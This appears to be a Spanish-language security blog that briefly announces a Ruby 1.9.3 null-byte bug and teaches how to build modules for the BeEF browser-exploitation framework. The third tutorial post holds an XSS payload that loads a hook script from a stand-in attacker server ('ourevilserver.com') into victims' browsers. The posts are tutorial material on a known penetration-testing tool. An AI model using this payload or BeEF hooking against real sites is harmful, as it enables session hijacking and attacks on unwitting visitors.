martes, 9 de diciembre de 2014

Null-byte Injection - Ruby 1.9.3p194



En-------------------

Talking with a friend (Mike-Crosoft) I remembered that I haven't made this 0-day/vuln public. It refers to a Null-byte Injection located at Ruby 1.9.3p194. This fail can be used by an attacker to end unexpectedly a string driving to a not wanted behavior. 

Talking with Aaron Patterson (a.k.a.@TenderLove / Ruby-Top Coder Developer) we agreed it is not a big deal since next published version includes a patch already. Anyway this version is public and currently available at ruby's repos. Therefore it could be used by anybody, including a Rails Project like I have shown in the video.

As final note this post has only learning/research propose. 
i'm not responsible what the final user does with this info.

ch33rz!

Sp-------------------

Platicando  con un amigo (Mike-Crosoft) recordé que no había hecho publica esta vulnerabilidad. se trata de una Null-Byte Injection situada en Ruby 1.9.3p194. Esta falla puede ser usada por un atacante para terminar inesperadamente una cadena, conduciendo a un comportamiento no deseado. 

Hablando con Aaron Patterson (también conocido como @TenderLove / Ruby-Top Coder Developer) estuvimos de acuerdo en que no era un gran problema ya que la próxima version publicada ya incluye un parche. De todas formas esta version es publica y actualmente disponible en los repos de ruby. Por lo tanto podría ser usada por cualquiera, incluyendo un proyecto de Rails como he mostrado en el video.

Como nota final; Esta entrada tiene solo propósitos de investigación/aprendizaje.
Yo no soy responsable de lo que el usuario final haga con esta info.

Saludos!





domingo, 13 de octubre de 2013

Desarrollo de módulos en BeEF 0.4.4.x - Parte IV

Y bien, en esta ocasión no haremos recapitulación de lo que hasta ahora se ha visto, para no repetir contenido ;), solo diremos que si les interesa profundizar en la teoría que acompaña esta serie de artículos les recomiendo que le dediquen 10 minutos a las entradas anteriores ;), así que vamos directo al tema: Que archivos mínimos necesita BeEF  para reconocer un plugin?
en temas anteriores mencionamos que BeEF categoriza los plugins en


Preth00nkers-M:modules preth00nker$ pwd 
/Users/preth00nker/beef-pret/modules 
Preth00nkers-M:modules preth00nker$ ls -ls 
total 0
0 drwxr-xr-x  31 softwareallies  staff  1054 Oct 10 20:51 browser
0 drwxr-xr-x   8 softwareallies  staff   272 Sep  9 13:50 chrome_extensions
0 drwxr-xr-x  10 softwareallies  staff   340 Sep  9 13:50 debug
0 drwxr-xr-x  30 softwareallies  staff  1020 Sep  9 13:50 exploits
0 drwxr-xr-x  20 softwareallies  staff   680 Sep  9 13:50 host
0 drwxr-xr-x   8 softwareallies  staff   272 Sep  9 13:50 ipec
0 drwxr-xr-x   3 softwareallies  staff   102 Sep  9 13:50 metasploit
0 drwxr-xr-x   9 softwareallies  staff   306 Sep  9 13:50 misc
0 drwxr-xr-x  11 softwareallies  staff   374 Sep  9 13:50 network
0 drwxr-xr-x   6 softwareallies  staff   204 Sep  9 13:50 persistence
0 drwxr-xr-x  17 softwareallies  staff   578 Sep  9 13:50 phonegap
0 drwxr-xr-x  16 softwareallies  staff   544 Sep  9 13:50 social_engineering
 Así que por clarificar el ejemplo agreguemos un plugin en la categoría browser.
Preth00nkers-M:modules preth00nker $ cd browser/ 
Preth00nkers-M:browser preth00nker $ mkdir my_first_plugin 
Preth00nkers-M:browser preth00nker $ cd my_first_plugin/Preth00nkers-M:my_first_plugin 
Y agregaremos 3 archivos para comenzar.
Preth00nkers-M:my_first_plugin preth00nker $ ls -ls 
total 32
16 -rw-r--r--  1 softwareallies  staff  4993 Sep  9 13:50 command.js
 8 -rw-r--r--  1 softwareallies  staff   823 Sep  9 13:50 config.yaml
 8 -rw-r--r--  1 softwareallies  staff  2506 Sep  9 13:50 module.rb
Hasta ahora nuestro plugin no aparecerá en los modulos disponibles para lanzar en la interface de de usuario de BeEF, asi que pongamos el código necesario para ello.

//command.js
beef.execute(function() {
    alert("hi there..");
});
//config.yaml (Los espacios son importantes para los archivos yaml)
beef:
    module:
        my_first_plugin:
            enable: true
            category: "Browser"
            name: "My First Plugin"
            description: "this is just a test"
            authors: ["YourName"]
            target:
                 working: ["All"]
//module.rb
class My_first_plugin < BeEF::Core::Command
  def pre_send
    print "This is before.."
  end
  def self.options
  end

  def post_execute
    print "All is done.."
  end
end
con lo anterior deberíamos estar viendo nuestro modulo agregado en la interface gráfica de BeEF disponible para ser lanzado contra un blanco:


de modo que la víctima ejecutara el código localizado en el archivo command.js:


Bien, ahora tenemos nuestro modulo corriendo, el siguiente paso es extender la funcionalidad. aunque seguramente esto dependerá de lo que ustedes quieran lograr con su módulo, yo les puedo ayudar explicando las opciones que BeEF ofrece para cada archivo, estos temas son bastante largos y serán explicados en siguientes entradas, sin embargo, como material de apoyo, nuevamente les recomiendo leer los anteriores artículos.
espero hayan disfrutado el artículo y nos leemos la próxima ;).
saludos!

domingo, 29 de septiembre de 2013

Desarrollo de módulos en BeEF 0.4.4.x - Parte III

La última entrada culminamos la redacción con nuestra primera intrusión usando BeEF como nuestro medio de interacción atacante víctima, de modo que en esta ocasión hablaremos de la estructura que un módulo debe cumplir. ya que esta serie de post planean dar una explicación bien fundamentada sobre el desarrollo de módulos, en esta tercera parte hablaremos del JS que BeEF ejecuta en las víctimas, el código que el webservice corre, el archivo de configuración del módulo y un poco mas...
Así que pongámonos en materia ;)

Digamos que hemos logrado comprometer el dominio facebuk.com (popular red social hipotética) mediante un XSS persistente dentro de los post que los usuarios comparten entre ellos dentro de dicha red social. Para que nuestra navaja suiza pueda comenzar a operar en los navegadores de los usuarios que visualizan dicho post necesitaríamos cargar el archivo que contiene la configuración necesarias para comunicarse con en servicio web de BeEF (webservice), dicho archivo lleva el nombre hooks.js, de forma que nuestro XSS luciría algo como:
<script>
var commandModuleStr = '<script src="http://ourevilserver.com:3000/hook.js" type="text/javascript"><\/script>';
document.write(commandModuleStr);
</script>
Una vez que el usuario ejecute las lineas anteriores el proceso de infección se dará por iniciado

Cabe mencionar que el hooker juega un papel crucial durante todo el proceso, entre las tareas de las que se encarga encontramos:
  • Establece una conexión persistente con el webservice; el cual a su vez es utilizado como intermediario entre las víctimas y la interface gráfica de BeEF.
  • Delega un identificador para la sesión, de esta forma el web service es capaz de saber a que víctima debe mandar un comando y el medio que debe utilizar.
  • Identifica si la víctima nos visita desde un dispositivo móvil, tablet, SmartPhone, etc.. esto es importante ya que al ser Javascript un lenguaje poco estandarizado, podemos encontrar funciones  muy particulares en ciertos navegadores, tal es el caso de la interface de depuración console.log. Aún cuando Firefox y Chrome poseen soporte para dicha interface IE 8 no.
  • Contiene algunas librerías JS importantes como jQuery, JavaDeploymentcss history knocker, etc..
  • Forkea una instancia de jQuery con el alias $j, esto con la finalidad de no conflictuar alguna versión de esta popular librería que pueda estar siendo utilizada por el sitio comprometido.
  • Entre muchas mas..



    Una vez que el hooker recolectar la información del medio ambiente local se comunica con el webservice para reportarse como vivo, posteriormente por cada 5 segundos transcurridos volverá a preguntarle si existe alguna nueva instrucción a ejecutar.

    Pero expliquemos lo anterior mas a detalle ; Supongamos que nos encontramos en el Panel de administración de zombies de BeEF, y que deseamos lanzar al módulo spyder_eye contra un blanco que hemos seleccionado, esto con la finalidad de tomar una imagen de la página infectada en el momento que se ejecuta el comando, lo que ocurrirá entonces será que dicha instrucción será encolada para ser lanzada la próxima vez que hooker.js sea solicitado desde la víctima. Mientras tanto en el servidor, lo que ocurrirá será que una vez el manejador de comandos persiva la petición de lanzar el módulo  pondrá al archivo beef/modules/browsers/spyder_eye/module.rb a ejecutar, existen 3 métodos que serán tomados en cuenta para lograr dicha tarea.
    • self.options: El cual especifica las opciones de configuración que el atacante puede utilizar durante la configuración del modulo desde la interface gráfica antes de ser lanzado el comando. una vez configurado y lanzado el comando, la información será mantenida en variables de instancia. sin embargo para nuestro caso El módulo spyder_eye no posee configuración alguna por parte del atacante, de modo que en esta ocasión no será necesario configurarlo.
    • pre_send:  es el método llamado antes de enviar el comando a la víctima, este momento es ideal para configurar la información necesaria para que el cliente reciba las instrucciones de forma correcta, este es un momento ideal para declarar recursos disponibles a ser utilizados por nuestro código malicioso JS como lo son imágenes, scripts, xml, etc..
    • post_execute: método llamado después de la ejecución de un comando, este podría ser un buen momento para liberar recursos.

    como ya se habrán imaginado, existe un paso intermedio entre la llamada al método pre_send y post_execute, dicho instante es cuando el archivo beef/modules/browsers/spyder_eye/command.js es servidor a la víctima contra la que se lanzará el ataque, de este modo el archivo hooker.js recibirá el contenido del archivo command.js y se encargará de ejecutar el contenido encapsulado por las lineas
    beef.execute(function() { 
          /**** content here! ****/
    })
    FYI: para el módulo spyder_eye este es el momento en el que se toma la imagen de la víctima y se envia la información a BeEF para ser mostrada.
    Finalmente si la función post_execute ha sido implementada dentro de module.rb será llamada para finalizar la tarea y cerrar el ciclo de ejecución del comando.

    En esta entrada hemos dado un paseo por el flujo de los datos durante el proceso de infección de una víctima mediante el uso de BeEF, hemos hecho especial hincapié en los archivos que son llamados cuando un módulo se carga para ser ejecutado en una víctima, hemos mencionado los métodos que un archivo archivo command.rb puede contener. utilizando el módulo spyder_eye para ejemplificar. en la próxima entrada pondremos en práctica lo aprendido hasta el momento y crearemos un pequeño módulo desde cero B).

    saludos!

    miércoles, 18 de septiembre de 2013

    Desarrollo de módulos en BeEF 0.4.4.x - Parte II

    Así que, comencemos con el tema como tal..

    Para obtener una copia de BeEF la forma mas fácil sería clonar el proyecto directamente desde el repositorio oficial del proyecto https://github.com/beefproject/beef. si ya cuentas con acceso a github entonces en la parte derecha de la página deberás ver la leyenda HTTPS clone URL  de forma que si ya posees un cliente de git en tu maquina bastará con ir a tu consola y teclear el comando 

    ~$ git clone https://github.com/beefproject/beef.git my_beef_copy

    con lo anterior deberás obtener una copia (de solo lectura para el repositorio oficial) para uso personal, ahora, si tu finalidad es contribuir con el proyecto entonces primero deberás hacer un fork del proyecto a tu repositorio personal de github. esto se logra clickeando en el botón fork del repositorio oficial logeado con tu cuenta de github y despues clonando el proyecto desde tu repositorio personal. de esta forma podras llevar un historial de commits y guardando tus cambios en tu cuenta personal para que estén disponibles en cualquier maquina que tenga un cliente git.

    Bien. Hasta este punto ya deberiamos poseer una copia local para hacer pruebas presumiblemente con el nombre my_beef_copy en nuestra carpeta personal. de forma que podemos comenzar a jugar con BeEF.

    lo primero que haremos será ejecutar beef desde la consola y ver que es lo que pasa.
    ~$ cd my_beef_copy; ls -ls
    total 25080
        8 -rw-r--r--   1 softwareallies  staff        83 Sep  7 18:19 BeEFLive.sh
        8 -rw-r--r--   1 softwareallies  staff      1208 Sep  7 18:19 Gemfile
        8 -rw-r--r--   1 softwareallies  staff      1651 Sep  7 18:22 Gemfile.lock
        8 -rw-r--r--   1 softwareallies  staff      2191 Sep  7 18:19 INSTALL.txt
        8 -rw-r--r--   1 softwareallies  staff      2208 Sep  7 18:19 README
        8 -rw-r--r--   1 softwareallies  staff      2206 Sep  7 18:19 README.mkd
       16 -rw-r--r--   1 softwareallies  staff      4781 Sep  7 18:19 Rakefile
        8 -rw-r--r--   1 softwareallies  staff       195 Sep  7 18:19 VERSION
       16 -rwxr-xr-x   1 softwareallies  staff      5408 Sep  7 18:19 beef
    24936 -rw-r--r--   1 softwareallies  staff  12767232 Sep 15 14:09 beef.db
        8 -rw-r--r--   1 softwareallies  staff      1119 Sep  7 18:19 beef_cert.pem
        8 -rw-r--r--   1 softwareallies  staff       916 Sep  7 18:19 beef_key.pem
       16 -rw-r--r--   1 softwareallies  staff      4453 Sep  7 18:19 config.yaml
        0 drwxr-xr-x  18 softwareallies  staff       612 Sep  7 18:19 core
        0 drwxr-xr-x   4 softwareallies  staff       136 Sep  7 18:19 docs
        0 drwxr-xr-x  17 softwareallies  staff       578 Sep  7 18:19 extensions
        8 -rwxr-xr-x   1 softwareallies  staff       732 Sep  7 18:19 install
        8 -rw-r--r--   1 softwareallies  staff      3953 Sep  7 18:19 install-beef
        0 drwxr-xr-x   5 softwareallies  staff       170 Sep  7 18:19 liveCD
        0 drwxr-xr-x  15 softwareallies  staff       510 Sep  8 12:13 modules
        0 drwxr-xr-x   7 softwareallies  staff       238 Sep  7 18:19 test
        8 -rwxr-xr-x   1 softwareallies  staff       218 Sep  7 18:19 update-beef 
    ~$./beef
    [18:32:52][*] Bind socket [imapeudora1] listening on [0.0.0.0:2000].
    [18:32:52][*] Browser Exploitation Framework (BeEF) 0.4.4.8-alpha
    [18:32:52]    |   Twit: @beefproject
    [18:32:52]    |   Site: http://beefproject.com
    [18:32:52]    |   Blog: http://blog.beefproject.com
    [18:32:52]    |_  Wiki: https://github.com/beefproject/beef/wiki
    [18:32:52][*] Project Creator: Wade Alcorn (@WadeAlcorn)
    [18:32:52][*] BeEF is loading. Wait a few seconds...
    [18:32:53][*] 10 extensions enabled.
    [18:32:53][*] 184 modules enabled.
    [18:32:53][*] 3 network interfaces were detected.
    [18:32:53][+] running on network interface: 127.0.0.1
    [18:32:53]    |   Hook URL: http://127.0.0.1:3000/hook.js
    [18:32:53]    |_  UI URL:   http://127.0.0.1:3000/ui/panel
    [18:32:53][+] running on network interface: 127.94.0.1
    [18:32:53]    |   Hook URL: http://127.94.0.1:3000/hook.js
    [18:32:53]    |_  UI URL:   http://127.94.0.1:3000/ui/panel
    [18:32:53][+] running on network interface: 192.168.1.73
    [18:32:53]    |   Hook URL: http://192.168.1.73:3000/hook.js
    [18:32:53]    |_  UI URL:   http://192.168.1.73:3000/ui/panel
    [18:32:53][*] RESTful API key: 590b4960510e7682e248ea570f954ef6f5422132
    [18:32:53][*] HTTP Proxy: http://127.0.0.1:6789
    [18:32:53][*] BeEF server started (press control+c to stop)

    Lo anterior nos indica que ya tenemos la interface web (para atacantes) corriendo por defecto en el puerto 3000 de modo que podemos ir cómodamente a nuestro navegador y visitar el portal  http://http://localhost:3000/ui/panel para acceder. Si hasta el momento no hemos modificado ninguna configuración, deberíamos ser capaces de acceder con la cuenta beef:beef y ver algo como:


    Una de las primeras cosas que resalta a la vista seguramente será la elegante interface que caracteriza a beef en su versión 0.4.4.x. Esta interface es soportada por una poderosa API dedicada al diseño ágil de interfaces FrontEnd llamada ExtJS desarrollada por la empresa Sencha ( http://www.sencha.com/ ). A estas alturas seguramente se estarán preguntando
    porque nos interesa que BeEF utilize ExtJS como herramienta para el manejo de la interface UI? 
    Pues bien, la respuesta a esa pregunta es simple..
    Existen dos tipos de componentes de software que están disponibles para su desarrollo en el proyecto. el primero comúnmente llamado modulo, el segundo llamado extensión (citando el wiki del proyecto beef).

    Que diferencia existe entre un modulo y una extensión?

    Nuevamente la respuesta es simple si nos planteamos la siguiente situación.
    Si tu desarrollador quieres implementar un componente que modifique el comportamiento general de beef, entonces estamos hablando de una extension (ejemplo: XssRays, el cual es utilizado para detectar si las URI's path, formularios y ligas son vulnerables a xss). por otro lado, si lo que se desea es desarrollar un componente que amplíe el uso de beef estamos muy ciertamente hablando de un módulo (ejemplo: detector de versiones de chrome).

    Ahora que sabemos las diferentes opciones que BeEF ofrece para desarrollo ha llegado la hora de realizar nuestra primera intrusión..

    con la interface de beef abierta visitaremos la siguiente dirección http://localhost:3000/demos/butcher/index.html regresaremos a la Web UI y veremos que dentro del folder online browsers -> localhost hay una nueva máquina detectada correspondiente a nuestro navegador y sistema operativo.


    en la siguiente entrada hablaremos de como está constituida la estructura de BeEF, los archivos por defecto de un módulo y el uso de cada uno de ellos.

    saludos!

    martes, 17 de septiembre de 2013

    Desarrollo de módulos en BeEF  0.4.4.x  -  Parte I

    En Días pasados he tenido la necesidad de implementar pruebas unitarias de Javascript para uno de los proyecto que se esta desarrollando dentro de Software Allies, y a decir verdad, es la primera vez que implemento pruebas de unidad para código basado en Javascript, de forma que después de algo de investigación, entre la gama de frameworks que hoy en día son utilizados tanto para pruebas de integración (Poltergeist,  Selenium, etc.. ) como aquellos que prueban directamente javascript decidí optar por la segunda opción y utilizar Jasmine.

    Una de las primeras cuestiones con las que me enfrente utilizando Jasmine fue la ausencia de alguna herramienta que me permitiera la depuración gráfica del código; (Just for the reecord: Horas después me entere que Chrome posee la instrucción debugger).

    Así, una de las primeras ideas que me surgió fue tomar una imagen de como se ve la página justo en el  momento que me interesara conocer el estado de mi script; Para dicha tarea utilicé la herramienta html2canvas, un plugin inicialmente desarrollado sobre jQuery,  aunque en ultimas versiones dicho componente se ha transformado en una librería independiente. todo esto me ha traido algunas ideas a la mente; No sería realmente grandioso poder monitorear de forma visual una sesión secuestrada mediante digamos un XSS?..

    Teniendo en mente el escenario anterior podriamos sugerir que para que un ataque de este tipo sea exitoso existen algunas características deseables para el programa que mediara el flujo de información entre el atacante y la víctima como:

    • Que sea capaz de preservar la información de la sesión secuestrada.
    • Que pueda comunicar al navegador infectado con el servidor, y viceversa. 
    • Que posea una interface deseablemente gráfica donde el atacante pueda visualizar el status de la infección. 
    • Por mencionar algunas..

    Gracias a Wade Alcorn Y a la comunidad de usuarios que han aportado directa (hackers, developers, testers, etc..) e indirectamente (victimas, tester, etc..) al proyecto, de estas y muchas, MUCHAS características mas se encarga el Framework de explotacion para navegadores a.k.a. BeEF.

    En la siguiente entrada veremos la estructura general para un modulo desarrollado sobre este maravilloso frameworks dedicado a la explotación de los tan comunes e infravalorados XSS entre algunas otras curiosidades dignas de comentar.

    martes, 10 de septiembre de 2013

    Pero Empecemos desde 0x00h..

    Comencemos.. Ha pasado algún tiempo desde la ultima vez que realicé una publicación en la internet relacionado con los temas de los cuales disfruto aprendiendo y compartiendo, sin embargo, en este tiempo de ausencia he tenido la oportunidad de aprender algunas novedades relacionadas a las tecnologías de vanguardia que día a día es común encontrar en la industria del software, debido a que resuelven problemas específicos. por otra parte he tenido la oportunidad de estudiar algunas técnicas que me han resultado de particular interés. Es por esto que he decidido comenzar con este pequeño espacio donde tengo como finalidad el compartir los conocimientos que en mi vida cotidiana pienso que podrían resultar de interés para algún lector trasnochado,  tal vez ayudar a resolver algún conflicto con el cual ha estado batallando las ultimas horas, o también es muy probable que solo le resulte de agrado la lectura del este blog.

    Este blog no tiene como finalidad imponer su opinión sobre la de los de más, el autor del mismo respeta las diferentes opiniones que sus lectores puedan tener. Este blog refleja únicamente y exclusivamente la opinión y experiencia de su autor, debido a esto, el lector es libre de comentar y decidir si acepta o rechazar total o parcialmente los comentarios ofrecidos en este sitio. el autor no se hará responsable de ninguna forma del uso que el lector haga con la información contenida en este sitio.

    Una vez dicho lo anterior me gustaría mencionar en términos generales los temas que se estarán tocando durante el desarrollo de las siguientes entradas.
    Si usted y yo hemos tenido la oportunidad de establecer una platica durante mas de 15 minutos es muy probable que ya este enterado que me fascina la seguridad informática, y de hecho, podría decir que poniendo mi vida en retrospectiva, este ha sido uno de los temas que he encontrado más interesantes  desde que tuve mi primer computadora (a mis 12 años, una x386 con modem de 56k's totalmente equipada con lector de CD's y Floppy Driver B] ).
    Dicho lo anterior, si usted posee algunos conocimientos generales sobre el tema tengo por seguro que entenderá que uno de los requisitos para aprender a fondo del tema de la seguridad informática es saber programar, es aquí donde nace mi segunda pasión; La programación. Desde que aprendí que con una computadora un hombre normal puede adquirir los super poderes del inventor me he dedicado a investigar los distintos problemas que que los seres humanos se han enfrentado durante el último siglo desde que papá Turing y Newman revolucionaron la dirección de la ciencia moderna.
    Es así que desde ya hace algunos ayeres he navegado a través de las distintas plataformas de desarrollo comenzando en 1995 con Visual Basic el cual fue mi primer lenguaje de programación, posteriormente aprendí que VB no poseía un manejo de recursos eficientes a la hora de resolver problemas que ameritaban un tiempo de procesamiento considerable, es por esto que migré a un lenguaje que no gastara recursos en interfaces gráficas, si no que resolvieran lo que se les indicaba sin usar librerías de más. Entonces conocí C ANSI. el cual me enamoro por su ligerés en sus compilados, amplia portabilidad y elegancia en su código, sin embargo a partir de ese momento me surgio el hambre insasiable por el conocimiento y pronto me aventure a aprender la amplia variedad de lenguajes, sus pros y contras y sobre todo el hecho de saber porque y cuando utilizar, desfilando asi por Pascal, C++, PHP, ASM, Java (y sus derivados como Java para android), Javascript, Perl, Python, algunos lenguajes para inteligencia artificial como Prolog y Clips, algunos lenguajes para micro-controladores y todo lo que fuera asechando a mi paso qu fuera programable.
    De esta forma los primeros trabajos que obtuve relacionados con el mundo de la informática fueron Legacy de plataformas web que necesitaban mantenimiento, en este punto entendí que las empresas estaban apostando por el desarrollo web, de forma que comencé a aprender de herramientas de gestión empresarial, de contenido y de manejo de recursos, conociendo a su paso los distintos FrameWorks de desarrollo como Joomla, CakePHP y principalmente Ruby on Rails. después de algunos años este ultimo ha sido el que mas se ha adaptado a mis necesidades, ya que posee una gran gran capacidad de escalabilidad debido a su amplia diversidad de gemas, un basto apoyo por parte de la comunidad OS e incluso una forma de llevar un desarrollo bastante respetable (metodología Agile). es asi como llego al punto climático de mis temas favoritos que podrían ser tratados en posteriores entradas. Ruby, después de ya algunos años en el desarrollo de software puedo decir que es el lenguaje que a la fecha, disfruto mas aprendiendo, espero mis siguientes entradas expliquen solas por que me gusta tanto este lenguaje.

    sin mas por el momento espero tengan un excelente día y hayan disfrutado tanto leyendo esta primer entrada como yo escribiéndola.

    ch33rz!